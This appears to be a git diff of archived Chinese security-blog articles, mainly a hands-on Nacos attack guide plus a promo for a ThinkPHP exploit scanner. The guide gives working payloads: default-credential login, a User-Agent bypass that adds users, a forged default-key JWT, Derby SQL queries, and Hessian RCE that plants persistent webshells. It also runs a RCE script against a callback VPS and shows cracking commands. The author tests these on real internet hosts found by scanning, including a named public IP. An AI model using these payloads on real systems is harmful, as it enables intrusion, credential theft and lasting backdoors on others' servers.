3、[VMP入门:VMP1.81 Demo分析](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592604&idx=1&sn=4de551ee6b16fbe78d48fdf7bdfa110c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
4、[腾讯2025游戏安全PC方向初赛题解](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592525&idx=1&sn=6420cca04db12b6f15b463c61862ece9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
5、[OLLVM 攻略笔记](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592514&idx=1&sn=937fcf5982a3530520507249573a1f22&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
6、[安卓壳学习记录(上)](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592509&idx=1&sn=eda8cd88f250fecb4ece647b801642e7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**球分享**
|
||||
|
||||

|
||||
|
||||
**球点赞**
|
||||
|
||||

|
||||
|
||||
**球在看**
|
||||
|
||||
|
||||

|
||||
|
||||
点击阅读原文查看更多
|
||||
|
481
doc/2025-05/实战攻防之Nacos漏洞一文通.md
Normal file
481
doc/2025-05/实战攻防之Nacos漏洞一文通.md
Normal file
@ -0,0 +1,481 @@
|
||||
# 实战攻防之Nacos漏洞一文通
|
||||
zm Z2O安全攻防 2025-05-07 12:59
|
||||
|
||||
## 前言
|
||||
|
||||
实战nacos漏洞复现记录一下,大佬勿喷。
|
||||
|
||||
小白可以直接收藏下来学习一下很多poc我都直接给出来了,基本就是我的笔记。
|
||||
|
||||
如果,有不对的可以指正一下,一起学习。
|
||||
## nacos介绍
|
||||
```
|
||||
```
|
||||
|
||||
Nacos 开放的端口
|
||||
```
|
||||
```
|
||||
## 资产收集
|
||||
```
|
||||
```
|
||||
|
||||

|
||||
|
||||
下面可以看到icon图标,除了开始我们上面的一种,下面还有好几个,可以点击ico图标进一步扩大信息收集面
|
||||
```
|
||||
```
|
||||
|
||||
针对fofa总结语法:
|
||||
|
||||
app="nacos" && port="8848" || icon_hash="13942501"||icon_hash="1227052603" && port="8848"
|
||||
|
||||

|
||||
|
||||
漏洞复现
|
||||
|
||||
下面我用一个国外的ip进行漏洞的复现演示,用这个语法进行查找
|
||||
|
||||
app="nacos" && port="8848" && country="US"
|
||||
|
||||
使用随意一个fofa测绘工具将资产导出来
|
||||
|
||||

|
||||
|
||||
这是我找的买过的一些资产,然后保存进行工具批量测试。
|
||||
|
||||
charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
导出一个漏洞较多的资产进行复现即可,切记不要使用国内的,直接访问ip地址看不到登录口需要加/nacos目录才会重定向过去。
|
||||
### 1.获取nacos版本信息
|
||||
|
||||
/nacos/v1/console/server/state
|
||||
|
||||

|
||||
### 2. 默认口令
|
||||
|
||||
访问 http://ip:8848/nacos/#/login进入登陆页面
|
||||
|
||||

|
||||
|
||||
默认口令为: nacos/nacos
|
||||
### 3.默认未开启鉴权-未授权查看用户信息
|
||||
|
||||
由于系统默认未开启鉴权 导致未授权访问
|
||||
|
||||
nacos.core.auth.enabled=false
|
||||
#### 漏洞复现
|
||||
|
||||
测试版本:nacos1.4.0
|
||||
|
||||
直接访问如下路径,未授权查看用户信息
|
||||
|
||||
/nacos/v1/auth/users?pageNo=1&pageSize=9
|
||||
|
||||

|
||||
### 4. User-Agent权限绕过(CVE-2021-29441)
|
||||
|
||||
漏洞描述: 该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
|
||||
|
||||
|
||||
版本: <=Nacos 1.4.1 配置为使用身份验证(nacos.core.auth.enabled=true)
|
||||
|
||||
直接访问下面的目录,可以未授权查看到账号密码
|
||||
|
||||
/nacos/v1/auth/users?pageNo=1&pageSize=100 //可查看到用户列表
|
||||
|
||||
可以看下里面的账号密码,很多情况下账号密码都是这个暴露出来的username,和password信息
|
||||
|
||||

|
||||
|
||||
未授权添加用户
|
||||
|
||||
payload:
|
||||
|
||||
POST /nacos/v1/auth/users HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Nacos-Server
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Connection: keep-alive
|
||||
Upgrade-Insecure-Requests: 1
|
||||
If-Modified-Since: Wed, 28 Jul 2021 11:28:45 GMT
|
||||
Priority: u=0, i
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 30
|
||||
|
||||
username=test&password=test123
|
||||
|
||||

|
||||
|
||||
查看用户是否添加成功:
|
||||
|
||||
/nacos/v1/auth/search?username=test
|
||||
|
||||

|
||||
|
||||
curl 'http://IP/v1/auth/search?username=test'
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
删除用户
|
||||
curl -X DELETE "http://47.83.174.204:8848/nacos/v1/auth/users?username=test"
|
||||
|
||||
或者访问 /nacos/v1/auth/users?username=test,将请求方法修改为DELETE即可删除用户test
|
||||
|
||||

|
||||
|
||||
或者使用工具直接进行用户的添加
|
||||
|
||||
先将有漏洞的站点扫描一遍选择ua权限绕过漏洞进行添加
|
||||
|
||||

|
||||
|
||||

|
||||
### 5.默认jwt密钥-未授权访问
|
||||
|
||||
开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过accessToken值来绕过权限。
|
||||
|
||||
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789 # =后边的是默认的硬编码
|
||||
|
||||
**影响版本**
|
||||
|
||||
0.1.0<=nacos<=2.2.0
|
||||
#### 漏洞原理
|
||||
|
||||
输入正确的账号密码,则后端会返回对应该用户的加密accessToken。
|
||||
|
||||
请求包
|
||||
|
||||
POST /nacos/v1/auth/users/login HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
|
||||
Accept: application/json, text/plain, */*
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 29
|
||||
Origin: http://47.83.174.204:8848
|
||||
Connection: keep-alive
|
||||
Referer: http://47.83.174.204:8848/nacos/
|
||||
Priority: u=0
|
||||
|
||||
username=nacos&password=nacos
|
||||
|
||||
响应包
|
||||
|
||||
HTTP/1.1 200
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
Date: Sat, 26 Apr 2025 10:16:58 GMT
|
||||
Keep-Alive: timeout=60
|
||||
Connection: keep-alive
|
||||
Content-Length: 181
|
||||
|
||||
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
|
||||
|
||||

|
||||
|
||||
客户端得到此accessToken后会使用此Token再次请求后端服务器,及通过该用户身份登录。
|
||||
|
||||

|
||||
|
||||
payload
|
||||
|
||||
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
|
||||
Accept: application/json, text/plain, */*
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Origin: http://47.83.174.204:8848
|
||||
Connection: keep-alive
|
||||
Referer: http://47.83.174.204:8848/nacos/
|
||||
Priority: u=0
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
由于返回的accessToken只是对账号进行加密得到的.
|
||||
|
||||
而且nacos加密用户accessToken使用的jwt默认密钥加密,也就是只要知到nacos的用户,任何人都能通过此密钥加密用户得到对应用户的accessToken.
|
||||
|
||||
nacos存在默认用户nacos,所以我们可以尝试获取此默认用户的nacos。
|
||||
|
||||
漏洞复现
|
||||
|
||||
测试版本:nacos1.4.0
|
||||
|
||||
1. 生成时间戳比现在时间晚就行,比如现在时间为2024.9.3,则修改为2024.9.4或者更晚的时间
|
||||
|
||||
https://tool.lu/timestamp/
|
||||
|
||||

|
||||
|
||||
我直接生成到2080了直接用我的就行
|
||||
|
||||
3481367106
|
||||
|
||||
2. 生成key。
|
||||
|
||||
https://jwt.io/
|
||||
|
||||
复制默认的key,填写如下所示
|
||||
|
||||

|
||||
|
||||
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw
|
||||
|
||||
|
||||
{
|
||||
"sub": "nacos",
|
||||
"iat": 1745835608
|
||||
}
|
||||
|
||||
{
|
||||
"alg": "HS256",
|
||||
"typ": "JWT"
|
||||
}
|
||||
|
||||
|
||||
带上token访问用户列表即可绕过403
|
||||
|
||||

|
||||
|
||||
**直接登录到后台**
|
||||
:
|
||||
|
||||
登陆界面输入任意账户密码 ,点击登录。抓包,添加请求头,我这个还能用。
|
||||
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8
|
||||
|
||||
添加之后点击放行不要关闭拦截
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
之后关闭拦截即可
|
||||
### 6.Derby未授权访问(CVE-2021-29442)
|
||||
|
||||
nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。
|
||||
|
||||
影响版本:在nacos <= 1.4.0,无论是否开启鉴权,该漏洞都存在。当 nacos >1.4.0, 在新版中默认没开鉴权,所有这个漏洞还存在。若开启了鉴权,版本大于1.4.0,则漏洞不存在。
|
||||
|
||||
/nacos/v1/cs/ops/derby?sql=select * from users
|
||||
|
||||

|
||||
### 7.Nacos Client Yaml反序列化漏洞
|
||||
|
||||
这个我没复现出来,网上找了几个但是都没有。。。。
|
||||
|
||||
在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。
|
||||
|
||||
具体思路是
|
||||
#### nacosYaml反序列化攻击
|
||||
|
||||
工具利用
|
||||
|
||||
https://github.com/artsploit/yaml-payload/
|
||||
|
||||
下载之后打成jar包
|
||||
|
||||
javac src/artsploit/AwesomeScriptEngineFactory.java
|
||||
|
||||
编译java文件
|
||||
|
||||
|
||||
jar -cvf yaml-payload.jar -C src/ .
|
||||
|
||||
|
||||
jar:Java 自带的归档工具(类似 tar 或 zip),用于创建、查看或解压 JAR 文件。
|
||||
-c(create):创建一个新的 JAR 文件。
|
||||
-v(verbose):显示详细输出(打包的文件列表)。
|
||||
-f(file):指定生成的 JAR 文件名(这里是 yaml-payload.jar)。
|
||||
-C src/:切换到 src/ 目录(相当于 cd src/)。
|
||||
|
||||
|
||||

|
||||
|
||||
将生成的jar文件传到服务器上,到指定目录,开启web服务
|
||||
|
||||

|
||||
|
||||
在Nacos发现dataid为db-config
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
我只是复现到这了,试了几个,没成功就停了。
|
||||
|
||||
这个是靶场成功的链接
|
||||
|
||||
内网渗透 -春秋云镜篇之Hospital-腾讯云开发者社区-腾讯云
|
||||
### 8.Nacos Hessian 反序列化漏洞
|
||||
|
||||
由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。
|
||||
|
||||
影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3
|
||||
|
||||
Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
|
||||
|
||||
主要受影响的是7848端口的Jraft服务。
|
||||
|
||||
漏洞复现
|
||||
|
||||
测试版本nacos 2.2.2
|
||||
|
||||
poc:https://github.com/c0olw/NacosRce
|
||||
```
|
||||
```
|
||||
|
||||
执行命令同时注入内存马
|
||||
|
||||

|
||||
|
||||
直接使用webshell管理工具进行链接即可
|
||||
|
||||
自动注入内存马并执行命令 java -jar NacosRce.jar Url Jraft端口 "Command"
|
||||
|
||||
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
|
||||
只注入内存马
|
||||
|
||||
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell
|
||||
|
||||
|
||||
内存马说明:
|
||||
一、冰蝎内存马:
|
||||
1、需要设置请求头x-client-data:rebeyond
|
||||
2、设置Referer:https://www.google.com/
|
||||
3、路径随意
|
||||
4、密码rebeyond
|
||||
二、哥斯拉内存马:
|
||||
1、需要设置请求头x-client-data:godzilla
|
||||
2、设置Referer:https://www.google.com/
|
||||
3、路径随意
|
||||
4、密码是pass 和 key
|
||||
|
||||
三、CMD内存马:
|
||||
1、需要设置请求头x-client-data:cmd
|
||||
2、设置Referer:https://www.google.com/
|
||||
3、请求头cmd:要执行的命令
|
||||
v0.5版本实现了:
|
||||
1、不出网漏洞利用
|
||||
2、可多次发起漏洞利用
|
||||
3、同时注入冰蝎/哥斯拉/CMD内存马
|
||||
4、内存马对nacos多版本进行了兼容
|
||||
|
||||
tips:
|
||||
1、请用jdk1.8
|
||||
2、适用于 Nacos 2.x <= 2.2.2
|
||||
3、非集群的也能打哦
|
||||
4、此内存马重启nacos依然存活
|
||||
|
||||
关于Windows
|
||||
如用下面的方式执行,注入内存马时会生成临时文件 C:\Windows\Temp\nacos_data_temp 和 C:\Windows\Temp\nacos_data_temp.class 文件
|
||||
|
||||
java -jar NacosRce.jar http://192.168.90.1:8848 7848 "whoami" windows
|
||||
|
||||
如果没有在最后加 windows,临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class,所以权限足够的话,不指定windows也能打成功
|
||||
windows 没打成功也许是因为没权限操作C盘或其他原因
|
||||
## 9. Nacos RCE
|
||||
|
||||
这个漏洞涉及两个路径,其中derby其实就是CVE-2021-29441
|
||||
|
||||
/nacos/v1/cs/ops/data/removal
|
||||
/nacos/v1/cs/ops/derby
|
||||
|
||||
测试版本:nacos1.4.0(2.3.2也成功),默认状态
|
||||
|
||||
下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上
|
||||
|
||||
1. 在vps启动
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||
默认会在5000端口打开服务
|
||||
|
||||
然后本地机器上执行poc
|
||||
|
||||
当系统为未授权访问时,可直接触发RCE
|
||||
|
||||
Nacos_Rce.py -t 192.168.67.129 -p 5000 -u http://192.168.67.134:8848 -c whoami
|
||||
#-t vps ip
|
||||
|
||||
#-p 端口地址
|
||||
#-u nacos web地址
|
||||
|
||||
# -c 指定命令
|
||||
|
||||

|
||||
|
||||
如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE。
|
||||
|
||||

|
||||
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
### 10. 密码破解
|
||||
### nacos密码bcrypt
|
||||
|
||||
hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O -D 1,2 --show
|
||||
### 配置文件密文 jasypt
|
||||
|
||||
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI input="123456" password="salt123" algorithm="PBEWithMD5AndDES"
|
||||
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringDecryptionCLI input="MecKdyPwwkD+AqUKPy1GlQ==" password="salt123" algorithm="PBEWithMD5AndDES"
|
||||
### 11、常用命令
|
||||
|
||||
http://127.0.0.1:8848/nacos/v1/console/server/state
|
||||
http://xx.xx.xx.xx/v1/console/server/state
|
||||
http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9 get查询用户
|
||||
curl -v --data-binary "username=test&password=123456" "http://127.0.0.1:8848/nacos/v1/auth/users" post添加用户
|
||||
curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -d 'username=test&newPassword=test123' 修改密码
|
||||
http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99 获取配置信息
|
||||
http://127.0.0.1:8848/nacos/v1/core/cluster/nodes 获取集群信息
|
||||
curl --data-binary "username=nacos&password=nacos" "http://127.0.0.1:8848/nacos/v1/auth/users/login" 登陆
|
||||
|
||||
原文链接:
|
||||
https://www.freebuf.com/articles/web/428863.html
|
||||
|
||||
欢迎师傅们加入
|
||||
内部网络安全学习圈子
|
||||
。
|
||||
圈子提供三大板块的内容:
|
||||
|
||||
1、网络安全0.1-1学习:每周发布学习任务,由浅入深,循序渐进,从常见的
|
||||
Web漏洞原理与利用、业务逻辑漏洞与挖掘、
|
||||
SRC挖掘、到WAF绕过、代码审计、钓鱼与免杀,再到LinuxWindows内网、提权、权限维持、隧道代理、域渗透、云安全、AI安全,层层递进。
|
||||
会发布相应的参考资料及建议,成员自行学习实践,并会根据每周任务选取1-3位完成优秀的成员,进行红包奖励。
|
||||
|
||||
2、SRC漏洞挖掘专项:内容包含
|
||||
src漏洞知识库、
|
||||
src挖掘技巧、src视频教程等,一起学习赚赏金技巧
|
||||
|
||||
3、常态化内容:
|
||||
日常分享优质学习资源与攻防渗透技巧,包括但不限于红蓝安全攻防、免杀、SRC挖掘技巧、攻防渗透tips、视频教程、手册、学习路线,针对网络安全成员的普遍水平,并为星友提供了教程方法技巧tips等等。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
此前的一下学习记录:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
48
doc/2025-05/漏洞扫描工具 -- ThinkPHPKiller(5月6日更新).md
Normal file
48
doc/2025-05/漏洞扫描工具 -- ThinkPHPKiller(5月6日更新).md
Normal file
@ -0,0 +1,48 @@
|
||||
# 漏洞扫描工具 -- ThinkPHPKiller(5月6日更新)
|
||||
enh123 Web安全工具库 2025-05-07 16:02
|
||||
|
||||
暗月渗透测试09漏洞学习与挖掘18课合集下载
|
||||
|
||||
链接:https://pan.quark.cn/s/b2a61afdacff
|
||||
|
||||

|
||||
|
||||
===================================
|
||||
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,大家都要把工具当做病毒对待,在虚拟机运行。如有侵权请联系删除。个人微信:ivu123ivu
|
||||
0x01 工具介绍
|
||||
ThinkPHP 漏洞扫描工具,漏洞范围:
|
||||
```
|
||||
Tp2 RCE
|
||||
Tp3 Log RCE
|
||||
Tp5 数据库信息泄露
|
||||
Tp5 文件包含
|
||||
Tp5 PHPSESSID 文件包含 RCE
|
||||
Tp5 sql注入
|
||||
Tp CVE-2018-20062
|
||||
Tp CVE-2019-9082
|
||||
Tp CVE-2022-25481
|
||||
Tp6 Lang 文件包含 RCE
|
||||
Tp 日志泄露
|
||||
```
|
||||
|
||||
0x02 安装与使用
|
||||
运行界面:
|
||||
|
||||

|
||||
|
||||
**0x03 病毒样本链接下载,仅供学习交流**
|
||||
|
||||

|
||||
|
||||
下载链接:https://pan.quark.cn/s/75d0133818ce
|
||||
|
||||
|
||||
|
||||
|
||||
**·****今 日 推 荐**
|
||||
**·**
|
||||
|
||||
> 《AI Agent开发与应用:基于大模型的智能体构建》分为3个分,共12章。第1分(第1~5章)深入解析智能体的工作原理及开发所需的工具链,括智能体的定义、类型及其与大语言模型(LLM)的关系,探讨智能体框架结构和核心模块的设计,并介绍LangChain和LlamaIndex等技术如何助力任务自动化和数据管理,使读者能够身体验智能体的基础开发过程。第2分 (第6、7章)聚焦于智能体的浅度开发,通过订票系统和智能翻译智能体等实例,展示如何将理论知识应用于实际项目。第3分(第8~12章)深入探索智能体的高级开发技巧。
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user